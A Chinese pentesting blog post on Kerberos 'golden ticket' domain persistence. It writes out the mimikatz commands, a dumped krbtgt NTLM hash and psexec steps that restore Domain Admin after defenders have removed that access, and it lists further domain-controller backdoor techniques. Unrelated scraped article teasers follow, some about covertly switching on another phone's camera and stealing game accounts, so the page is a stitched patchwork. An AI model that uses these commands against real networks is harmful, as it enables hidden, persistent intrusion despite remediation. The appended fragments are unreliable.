最近几年很少搞内网渗透了,这几年发展的快啊,看了A牛翻译的 ,发现趋势都是powershell脚本化了。想当年遇到的域控都是windows 2003的,找朋友要些vbscript脚本自动化,然后那啥那啥的。现在搞域除了前段时间出的MS14068,还有龙哥翻译的,不知道还有什么新 *** ,心中还有 *** ,如果想交流的朋友,可以加我聊聊。
我原来发过一个微博说
这就是我说的金之钥匙【"golden ticket(s)"黄金票据】,利用这个的条件是你在原来搞定域控的时候,已经导出过域用户的HASH,尤其是krbtgt 这个用户的。但是在你在内网干其他事情的时候,活儿不细,被人家发现了,你拥有的域管理员权限掉了,你现在还有一个普通的域用户权限,管理员做加固的时候又忘记修改krbtgt密码了(很常见),我们还是能重新回来,步骤如下:
要重新拿回域管理员权限,首先要先知道域内的管理员有谁
我这里的实验环境,通过截图可以看到域管理员是administrator
我还要知道域SID是啥
我的域SID是
还有最重要的krbtgt用户的ntlm哈希,我原来导出的是
krbtgt(current-disabled):502:aad3b435b51404eeaad3b435b51404ee:6a8e501fabcf264c70 ef3316c6aab7dc:::
然后该用神器mimikatz出场了,依次执行
mimikatz # kerberos::purge
mimikatz # kerberos::golden /admin:Administrator /domain:pentstlab.com /sid:S-1-5-21-3883552807-251258116-2724407435 /krbtgt:6a8e501fabcf264c70ef3316c6aab7dc /ticket:Administrator.kiribi
mimikatz # kerberos::ptt Administrator.kiribi
mimikatz # kerberos::tgt
到现在,我们又重新拥有域管理员权限了,可以验证下
E:\>net use \\WIN-0DKN2AS0T2G\c$
E:\>psexec.exe \\WIN-0DKN2AS0T2G cmd
呃,感觉这个 *** 比http://drops.wooyun.org/tips/9297这个方便些,文章写了好久了,一直凑不出更多的字数,就没发。。嗯。。。懒了。。
当然除了golden ticket,silver ticket之外还有kerberos ticket,历史SID,AdminSDHolder,DSRM,GPP,DCSync等技术手段都可以用来当做域控的隐藏后门。
【原文:域渗透的金之钥匙 作者:mickey 安全脉搏整理发布】
夏天卖什么小吃赚钱?夏天这几个小吃既赚钱又受市场欢迎,建议收藏盘点夏季一个人摆摊做什么小吃生意挣钱快!卖什么小吃简单挣钱炎热的夏季,走在烈日之下,如果这个时候有一个阴凉的地方,或者来一碗冰粉、凉面或者...
本文导读目录: 1、如何用手机遥控另一台手机摄像头 2、手机通过wifi偷偷打开另一部手机摄像头 3、如何远程控制别人的手机摄像头? 4、怎么用手机远程控制另一台手机强制打开摄像头?...
本文目录一览: 1、4399生死狙击刷辅助免费版激活第一步是什么软件 2、4399账号开修改器,怕被盗号,怎么办 3、4399弹弹堂怎样盗号 4、4399账号开星辰修改器,会被盗号吗?...
本文目录一览: 1、黑客帝国觉醒是免费的吗 黑客帝国觉醒是免费的吗 免费TGA 2021:《黑客帝国觉醒:虚幻5体验》免费开放。在今日举办的The Game Awards 2021游戏颁奖典礼上,《...
现在的智能手机一般都有指纹解锁和密码解锁两种解锁模式,一般情况下智能手机只要不关机,基本都是指纹解锁,毕竟比较方便。但是有时候频繁更改密码或者长时间未输入密码,开机之后指纹是没有反应的,那么接下来...
网站降权或者网站被K是许多站长常常听到的问题,也是比较常见的问题,许多站长也为百度降权问题恼火,今天冯耀宗来为大家分析一下,网站被K的原因是什么以及网站降权后怎么办? 网站降权的原因是什么? 1、...